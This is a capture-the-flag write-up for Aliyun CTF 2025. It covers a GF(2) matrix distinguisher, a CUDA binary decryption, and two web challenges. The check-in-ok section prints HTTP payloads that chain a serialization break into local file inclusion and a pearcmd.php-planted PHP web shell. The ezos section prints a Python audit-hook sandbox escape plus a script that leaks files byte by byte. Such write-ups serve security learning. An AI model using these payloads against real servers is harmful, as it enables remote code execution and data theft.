# Aliyun CTF 2025 Writeups
[TOC]
## LinearCasino
The challenge requires us to distinguish between $A * B_0 * C$ and $A * B_1 * C$, where $A \in \mathbb{F}_2^{110 \times 110}$, $D_1 \in \mathbb{F}_2^{60 \times 100}$, $D_2 \in \mathbb{F}_2^{50 \times 100}$, $B_0$ is a random matrix in $\mathbb{F}_2^{110 \times 200}$ and $C$ is a permutation matrix.
$$
\displaylines{
\begin{align}
B_1 = \left(
\begin{array}{cc}
D_1 & D_1 \\
0 & D_2
\end{array}
\right)
\end{align}
\\
O = A * B_1 * C
\\
OO^T = (AB_1C)(C^TB_1^TA^T) = AB_1B_1^TA^T
}
$$
We have $CC^T$ cancels out since the inverse of a permutation matrix is its inverse.
$$
\begin{align}
B_1^T = \left(
\begin{array}{cc}
D_1^T & 0 \\
D_1^T & D_2^T
\end{array}
\right)
\\
B_1B_1^T = \left(
\begin{array}{cc}
0 & D_1D_2^T \\
D_2D_1^T & D_2D_2^T
\end{array}
\right)
\end{align}
$$
Since $D_1D_2^T$ and $D_2D_1^T$ has maximum rank of 50 $\Rightarrow B_1B_1^T$ has a maximum rank of 100 $\Rightarrow$ $OO_T$ has a maximum rank of 100.
Therefore, we connect to server, recover $O$ and check if rank of $OO_T \leq 100$.
```python
from pwnlib.tubes.remote import remote
from pwnlib.tubes.process import process
from sage.all import *
io = process(["sage", "task.sage"])
K = GF(2)
io.recvline()
for i in range(100):
print(f'{i = }')
output = int(io.recvline().strip().decode()[2:])
output = bin(output)[2:].zfill(110 * 200)
output = list(map(int, list(output)))
# print(len(output))
ct = matrix(K, 110, 200, output)
ct = ct * ct.T
if ct.rank() <= 100:
io.sendlineafter(b' ', b'1')
else:
io.sendlineafter(b' ', b'0')
io.interactive()
```
## check-in-ok
The challenge give us a website with a login page. We used dirsearch to find the hidden directories and files. We found out that if we add `~` to the end of the url, we can leak the source code of the website and we also found `adminer_481.php` which is a database management tool. We can use this to create account and login
After that, we found out that we can break the serialization of the data and we can achieve LFI. We can use this to include `pearcmd.php` to get RCE. The payload would be like this:
```
POST /index.php?debug_buka=.......";\s:10:"\b\a\c\k\g\r\o\u\n\d";\s:34:"../../../\u\s\r/\l\o\c\a\l/\l\i\b/\p\h\p/\p\e\a\r\c\m\d";\s:1:"\a";\s:1:"\a";} HTTP/1.1
Host: 121.41.238.106:12359
Content-Length: 75
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=j6ab3imi08t62paieat8qudeta; adminer_version=4.16.0
Connection: keep-alive
username=ac065740bfb1a2339fecfec667c33de6&reason=<?php exit;//<?php exit;//
```
After that, we include `pearcmd.php` and create a shell.
```
GET /index.php?+config-create+/&check=yuu&/<?=system($_GET["c"]);?>+/var/www/html/shell.php HTTP/1.1
Host: 121.41.238.106:12359
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://121.41.238.106:17832
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://121.41.238.106:17832/index.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=j6ab3imi08t62paieat8qudeta; adminer_version=4.16.0
Connection: keep-alive
```
Then we can get the flag by executing `cat /Ali_t1hs_1sflag_2025` (the flag is in the file `Ali_t1hs_1sflag_2025` in the root directory)
```
GET /shell.php?c=cat+/Ali_t1hs_1sflag_2025 HTTP/1.1
Host: 121.41.238.106:12359
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://121.41.238.106:17832
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://121.41.238.106:17832/index.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=j6ab3imi08t62paieat8qudeta; adminer_version=4.16.0
Connection: keep-alive
```

## easy cuda rev
We're given a binary and the description hints towards the bulk of the challenge being cuda bytecode. In the binary, we can see a section named `.nv_fatbin`, and digging through it we can see fragments of text that look like PTX bytecode. Doing a bit of research online, I found out that this is quite common with these cuda compiled binaries and NVIDIA has made many [tools](https://docs.nvidia.com/cuda/cuda-binary-utilities/index.html) to extract the data from these binaries.
To extract the PTX, I ran `cuobjdump --dump-ptx ./easy_cuda` and that gave a much clearer picture of what was going on (kind of).
Running the program, we can see that it'll give us "gifts" of the current state of the transformations before outputting the encrypted data to `enc_flag`
```
./easy_cuda
len: 256
gift1:
<long list of bytes>
gift2:
<long list of bytes>
gift3:
<long list of bytes>
gift4:
<long list of bytes>
gift5:
<long list of bytes>
```
And we can see where each of these gifts gets printed in the PTX bytecode because the strings are defined as global literals. So we can reverse the process to get from the starting point to gift1, gift1 to gift2, gift2 to gift3, etc.
After recreating the program logic, all we had to do at that point was to perform each of the steps in reverse to output the decrypted data which ended up being a PNG of the flag. (There's 662 steps in the final decryption, so it takes a bit to run)
```c=
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#define BLOCK_SIZE 256
#define NUM_ITERATIONS 10485760
void dec1(uint8_t* buf) {
for (int i = 0; i < BLOCK_SIZE; ++i) {
buf[i] ^= i;
}
}
// claude my beloved
void dec_tea(uint32_t* pv0, uint32_t* pv1) {
uint32_t v0 = *pv0;
uint32_t v1 = *pv1;
// Start with the final key values
uint32_t k0 = 0x55bcdc8;
uint32_t k1 = 0x2ab5609d;
uint32_t k2 = 0x8c7de6e4;
uint32_t k3 = 0xee466d2b;
uint32_t k4 = 0x500ef372;
uint32_t k5 = 0xb1d779b9;
// Constants
const uint32_t CONST_LEFT_ADD = 0x3c6ef372; // Used with left shifts and adds
const uint32_t CONST_LEFT_SUB = 0x5cbece94; // Used with left shifts and subs
const uint32_t CONST_RIGHT_SUB = 0x37fec15c; // Used with right shifts and subs
const uint32_t CONST_RIGHT_ADD = 0x14292967; // Used with right shifts and adds
const uint32_t KEY_DELTA = 0xe443238; // Key schedule value
const uint32_t K0_SPECIAL_ADD = 0x61c88647; // Special k0 addition
uint32_t i = 0;
while (i < NUM_ITERATIONS) {
// Update keys first (reverse of final encryption step)
k0 += KEY_DELTA;
k1 += KEY_DELTA;
k2 += KEY_DELTA;
k3 += KEY_DELTA;
k4 += KEY_DELTA;
k5 += KEY_DELTA;
// Start with k0's final round
uint32_t tmp = ((v0 << 0x4) + CONST_LEFT_ADD) ^
((v0 >> 0x5) + CONST_RIGHT_ADD) ^
(v0 + k0);
uint32_t new_v1 = v1 - tmp;
tmp = ((new_v1 << 0x4) - CONST_LEFT_SUB) ^
((new_v1 >> 0x5) - CONST_RIGHT_SUB) ^
(k0 + new_v1);
uint32_t new_v0 = v0 - tmp;
// k0 + K0_SPECIAL_ADD round
uint32_t k0_plus = k0 + K0_SPECIAL_ADD;
tmp = ((new_v0 << 0x4) + CONST_LEFT_ADD) ^
((new_v0 >> 0x5) + CONST_RIGHT_ADD) ^
(new_v0 + k0_plus);
v1 = new_v1 - tmp;
tmp = ((v1 << 0x4) - CONST_LEFT_SUB) ^
((v1 >> 0x5) - CONST_RIGHT_SUB) ^
(k0_plus + v1);
v0 = new_v0 - tmp;
// k0 - CONST_LEFT_ADD round
uint32_t k0_mod = k0 - CONST_LEFT_ADD;
tmp = ((v0 << 0x4) + CONST_LEFT_ADD) ^
((v0 >> 0x5) + CONST_RIGHT_ADD) ^
(v0 + k0_mod);
new_v1 = v1 - tmp;
tmp = ((new_v1 << 0x4) - CONST_LEFT_SUB) ^
((new_v1 >> 0x5) - CONST_RIGHT_SUB) ^
(k0_mod + new_v1);
new_v0 = v0 - tmp;
// k1 round
tmp = ((new_v0 << 0x4) + CONST_LEFT_ADD) ^
((new_v0 >> 0x5) + CONST_RIGHT_ADD) ^
(new_v0 + k1);
v1 = new_v1 - tmp;
tmp = ((v1 << 0x4) - CONST_LEFT_SUB) ^
((v1 >> 0x5) - CONST_RIGHT_SUB) ^
(k1 + v1);
v0 = new_v0 - tmp;
// k2 round
tmp = ((v0 << 0x4) + CONST_LEFT_ADD) ^
((v0 >> 0x5) + CONST_RIGHT_ADD) ^
(v0 + k2);
new_v1 = v1 - tmp;
tmp = ((new_v1 << 0x4) - CONST_LEFT_SUB) ^
((new_v1 >> 0x5) - CONST_RIGHT_SUB) ^
(k2 + new_v1);
new_v0 = v0 - tmp;
// k3 round
tmp = ((new_v0 << 0x4) + CONST_LEFT_ADD) ^
((new_v0 >> 0x5) + CONST_RIGHT_ADD) ^
(new_v0 + k3);
v1 = new_v1 - tmp;
tmp = ((v1 << 0x4) - CONST_LEFT_SUB) ^
((v1 >> 0x5) - CONST_RIGHT_SUB) ^
(k3 + v1);
v0 = new_v0 - tmp;
// k4 round
tmp = ((v0 << 0x4) + CONST_LEFT_ADD) ^
((v0 >> 0x5) + CONST_RIGHT_ADD) ^
(v0 + k4);
new_v1 = v1 - tmp;
tmp = ((new_v1 << 0x4) - CONST_LEFT_SUB) ^
((new_v1 >> 0x5) - CONST_RIGHT_SUB) ^
(k4 + new_v1);
new_v0 = v0 - tmp;
// k5 round
tmp = ((new_v0 << 0x4) + CONST_LEFT_ADD) ^
((new_v0 >> 0x5) + CONST_RIGHT_ADD) ^
(new_v0 + k5);
v1 = new_v1 - tmp;
tmp = ((v1 << 0x4) - CONST_LEFT_SUB) ^
((v1 >> 0x5) - CONST_RIGHT_SUB) ^
(k5 + v1);
v0 = new_v0 - tmp;
i += 0x8;
}
*pv0 = v0;
*pv1 = v1;
}
void dec2(uint8_t* buf) {
for (int i = 0; i < BLOCK_SIZE; i += 8) {
uint32_t* ptr = (uint32_t*)(buf+i);
dec_tea(&ptr[0], &ptr[1]);
}
}
void dec3(uint8_t* buf) {
for (int i = BLOCK_SIZE - 1; i >= 0; --i) {
if (i >= 1 && (i & 1) == 1) {
int other = (i + 1) % BLOCK_SIZE;
unsigned char temp = buf[i];
buf[i] = buf[other];
buf[other] = temp;
}
}
}
void dec4(uint8_t* buf) {
for (int i = BLOCK_SIZE - 2; i >= 0; i -= 2) {
int other = (i + 1) % BLOCK_SIZE;
unsigned char temp = buf[i];
buf[i] = buf[other];
buf[other] = temp;
}
}
void dec5(uint8_t* buf) {
for (int i = BLOCK_SIZE - 1; i >= 0; --i) {
unsigned char a = buf[i];
unsigned char b = buf[(i + 1) % BLOCK_SIZE];
buf[i] = a ^ b ^ 0xAC; // 0xAC is the key
}
}
void dec6(uint8_t* buf) {
const unsigned char LUT[256] = {0x3E, 0xA8, 0xB8, 0x66, 0xCC, 0x24, 0xDE, 0x3B, 0x72, 0xDF, 0xF1, 0xD3, 0x9E, 0xBB, 0xEA, 0x10, 0x59, 0x83, 0x1E, 0xE6, 0x58, 0x26, 0xD8, 0xA3, 0xB5, 0x44, 0x42, 0xF6, 0xD2, 0xE3, 0x7C, 0x6E, 0x91, 0x40, 0x22, 0x9D, 0x4E, 0x9F, 0x1B, 0xC8, 0x7B, 0x17, 0xF3, 0x03, 0xF0, 0xA4, 0xB3, 0xAD, 0x0F, 0x96, 0xAE, 0xEF, 0x2E, 0x52, 0x16, 0x47, 0x13, 0x20, 0xE5, 0x79, 0xDC, 0x92, 0x3A, 0xFD, 0xFC, 0x4B, 0x50, 0x2F, 0xB9, 0xCF, 0x15, 0x98, 0xF8, 0xBA, 0x01, 0x7D, 0x6F, 0x8F, 0x39, 0xD0, 0x7F, 0x99, 0xFE, 0x77, 0x81, 0x48, 0xD9, 0x11, 0xA0, 0x89, 0xE7, 0xDD, 0x04, 0x43, 0xA2, 0x4D, 0x08, 0x5F, 0x71, 0x09, 0xD1, 0x02, 0xF4, 0xAB, 0x8E, 0xA5, 0x07, 0x3F, 0x6C, 0x4F, 0x27, 0xE0, 0x1F, 0xBD, 0x23, 0xC4, 0x1C, 0x0E, 0x80, 0x65, 0x74, 0xEB, 0x54, 0x64, 0xFB, 0xD4, 0x2D, 0x56, 0xC0, 0xC6, 0xEE, 0xEC, 0x55, 0x87, 0x9C, 0x5A, 0xB4, 0xB7, 0x67, 0x90, 0x82, 0x6A, 0xA7, 0x29, 0x06, 0xE8, 0x88, 0x2A, 0x94, 0x35, 0x6B, 0x0D, 0x0C, 0xC9, 0xDA, 0x2C, 0x5C, 0xC3, 0x21, 0xBC, 0x41, 0x25, 0x97, 0xBE, 0x62, 0x73, 0x8C, 0xD6, 0x05, 0xBF, 0xAA, 0xE9, 0xF7, 0x93, 0x3C, 0x78, 0xC2, 0x4A, 0xB2, 0x12, 0xA1, 0x75, 0xF2, 0xE1, 0xD5, 0x30, 0x3D, 0x9B, 0x53, 0xCE, 0x60, 0x8B, 0x8D, 0xA9, 0x36, 0x9A, 0x19, 0xB0, 0xFF, 0xB6, 0xF5, 0x57, 0xB1, 0xC7, 0x38, 0x61, 0x85, 0xE2, 0xCA, 0x34, 0x33, 0xDB, 0x32, 0x7E, 0x2B, 0x7A, 0xFA, 0x69, 0xED, 0x1A, 0xCD, 0x70, 0x63, 0x86, 0x84, 0x0B, 0x00, 0x5E, 0x76, 0xAF, 0x45, 0x46, 0xCB, 0x68, 0x49, 0x14, 0x5B, 0xF9, 0xE4, 0x4C, 0xC1, 0x95, 0x31, 0xD7, 0x51, 0x0A, 0xC5, 0x28, 0x37, 0x5D, 0xAC, 0x18, 0x1D, 0x8A, 0x6D, 0xA6};
for (int i = BLOCK_SIZE - 1; i >= 0; --i) {
unsigned char val = buf[i];
val = LUT[val];
val = ((val >> 4) | (val << 4));
val ^= (i * 73 + 0xAC); // 0xAC is the key
buf[i] = val;
}
}
void print_hex(uint8_t* buf, uint32_t size) {
for (uint32_t i = 0; i < size; ++i) {
printf("%02X ", buf[i]);
}
printf("\n");
}
int main() {
FILE* fp = fopen("easy-cuda/public/flag_enc.orig", "r");
if (!fp) {
perror("fopen");
return 1;
}
FILE* fp_flag = fopen("flag.bin", "w");
if (!fp_flag) {
perror("fopen flag");
return 1;
}
const int SIZE = 0x29600;
uint8_t* buf = malloc(SIZE);
fread(buf, 1, SIZE, fp);
for (int i = 0; i < SIZE; i += BLOCK_SIZE) {
printf("%d\n", i / BLOCK_SIZE);
uint8_t* cur = buf + i;
dec1(cur);
dec2(cur);
dec3(cur);
dec4(cur);
dec5(cur);
dec6(cur);
fwrite(cur, 1, BLOCK_SIZE, fp_flag);
}
fclose(fp);
fclose(fp_flag);
}
```
## ezos
We're given a pretty simple looking web server that looks to be some sort of leetcode clone where you're given a prompt and have to write code to solve the prompt.
Visiting `/source` we can get the contents of `server.py`
```python=
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
app = Flask(__name__)
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
class OJTimeLimitExceed(Exception):
pass
class OJRuntimeError(Exception):
pass
@app.route("/")
def index():
return send_file("static/index.html")
@app.route("/source")
def source():
return send_file("server.py")
@app.route("/api/problems")
def list_problems():
problems_dir = PROBLEMS_PATH
problems = []
for problem in problems_dir.iterdir():
problem_config_file = problem / "problem.json"
if not problem_config_file.exists():
continue
problem_config = json.load(problem_config_file.open("r"))
problem = {
"problem_id": problem.name,
"name": problem_config["name"],
"description": problem_config["description"],
}
problems.append(problem)
problems = sorted(problems, key=lambda x: x["problem_id"])
problems = {"problems": problems}
return jsonify(problems), 200
@app.route("/api/submit", methods=["POST"])
def submit_code():
try:
data = request.get_json()
code = data.get("code")
problem_id = data.get("problem_id")
if code is None or problem_id is None:
return (
jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
400,
)
problem_id = str(int(problem_id))
problem_dir = PROBLEMS_PATH / problem_id
if not problem_dir.exists():
return (
jsonify(
{"status": "ER", "message": f"Problem ID {problem_id} not found!"}
),
404,
)
code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
with open(code_filename, "w") as code_file:
code = CODE_TEMPLATE + code
code_file.write(code)
result = judge(code_filename, problem_dir)
code_filename.unlink()
return jsonify(result)
except Exception as e:
return jsonify({"status": "ER", "message": str(e)}), 500
def judge(code_filename, problem_dir):
test_files = sorted(problem_dir.glob("*.input"))
total_tests = len(test_files)
passed_tests = 0
try:
for test_file in test_files:
input_file = test_file
expected_output_file = problem_dir / f"{test_file.stem}.output"
if not expected_output_file.exists():
continue
case_passed = run_code(code_filename, input_file, expected_output_file)
if case_passed:
passed_tests += 1
if passed_tests == total_tests:
return {"status": "AC", "message": f"Accepted"}
else:
return {
"status": "WA",
"message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
}
except OJRuntimeError as e:
return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
except OJTimeLimitExceed:
return {"status": "TLE", "message": "Time Limit Exceed"}
def run_code(code_filename, input_file, expected_output_file):
with open(input_file, "r") as infile, open(
expected_output_file, "r"
) as expected_output:
expected_output_content = expected_output.read().strip()
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
process.kill()
raise OJTimeLimitExceed
if process.returncode != 0:
raise OJRuntimeError(process.returncode)
if stdout.strip() == expected_output_content:
return True
else:
return False
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
```
So we can see that when we upload our code, it gives us some convenient imports to use but then places an audit hook to try to prevent any unsafe code from running, but you'll notice that `import` is allowed which makes bypassing this very easy.
The simplest way to bypass this is to import the `_testcapi` module which gives us the `run_in_subinterp` function that can run any code we want it to in a seperate interpreter context which doesn't have any audit hooks.
But now, we had to find out how to exfil data since this runs in `subprocess.Popen` and it looks like any output is discarded after checking for the correct output. What we did to get around this is abuse utf-8 decoding. Since `text=True` is set when running the program, that means that the contents of stdout will be utf-8 decoded when running `process.communicate()`, but if it can't decode it, the error message will tell us the byte that it can't decode and the server will return to us that error message. To abuse this, we can take the char we want to leak, add 0x80 to it, write it to stdout, then in our exploit script extract that value and subtract that 0x80 to recover the original character.
In the end, we came up with this solve script to run shell commands and leak the result 1 byte at a time. First we started with `os.listdir('/')` to leak the flag name, and then the following script to leak the flag:
exploit.py
```python=
import requests
import re
URL = "http://121.41.238.106:18875"
with open("solve.py", "r") as f:
code = f.read()
leak = ""
i = 0
while True:
fixed_code = code.replace("IDX=0", f"IDX={i}")
payload = {
"problem_id": "0",
"code": fixed_code
}
r = requests.post(URL + "/api/submit", json=payload)
if r.status_code != 500:
break
# print(r.status_code)
msg = r.json()['message']
# print(msg)
m = re.search(r"decode byte (0x[a-f\d]+) in position", msg)
if m:
leak += chr(int(m.group(1), 16) - 0x80)
print(f"{leak = }")
else:
print("done?")
break
i += 1
```
solve.py
```python=
import _testcapi
_testcapi.run_in_subinterp("""\
import os, sys
IDX=0
obj = open("/flag-78945274-15ec-47c4-993e-b33f7ad59817", "r").read()
try:
sys.stdout.buffer.write(bytes([ord(obj[IDX])+0x80]))
except IndexError:
pass
""")
a = input()
print(sum([int(x) for x in a.split(" ")]))
```